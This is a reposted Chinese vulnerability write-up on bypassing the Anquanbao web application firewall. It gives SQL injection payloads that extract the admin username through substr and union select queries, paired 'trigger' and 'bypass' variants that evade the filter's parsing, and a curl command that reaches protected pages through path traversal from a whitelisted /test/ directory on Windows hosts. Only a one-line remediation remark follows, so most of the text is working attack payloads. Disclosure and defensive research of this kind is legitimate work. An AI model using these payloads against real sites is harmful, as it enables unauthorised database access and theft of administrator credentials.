来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 利用反向代理和真实执行环境的1 对sql层面解析差异导致2 对文件系统层面解析差异导致地址均未编码利用反向代理和真实执行环境的1 对sql层面解析差异导致2 对文件系统层面解析差异导...
利用反向代理和真实执行环境的
1 对sql层面解析差异导致
2 对文件系统层面解析差异导致
地址均未编码
利用反向代理和真实执行环境的
1 对sql层面解析差异导致
2 对文件系统层面解析差异导致
1 对sql层面的解析差异导致
判断:
http://www.anquanbao.com/?id=1 and(1=1)
http://www.anquanbao.com/?id=1 and(1)=(1)
http://www.anquanbao.com/?id=1 and 1
http://www.anquanbao.com/?id=1 and true
利用:
触发:http://www.anquanbao.com/?id=1 and '1'=(select substr(user,1,1) from admin limit 1)
绕过:http://www.anquanbao.com/?id=(1)and'r'=(select(substr(user,1,1))from admin limit 1)
触发:http://www.anquanbao.com/?id=1 union(select user from admin)
绕过:http://www.anquanbao.com/?id=(1)union(select(user)from admin)
2 对文件系统层面解析差异导致
主要利用的是windows和linux文件系统路径的差异
安全宝提供白名单功能,如果是win主机,则可以利用一个白名单项攻击网站任意页面。
这里白名单为/test/目录
触发:curl -v 'www.wtf.tk/Pages/Index.aspx?id=1+and+1=1'
绕过:curl -v 'www.wtf.tk/test/..\Pages/Index.aspx?id=1+and+1=1'
修复方案:
改进正则,应该是正则吧
'(?:and|or) \d+'这样的规则估计不敢上。。。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com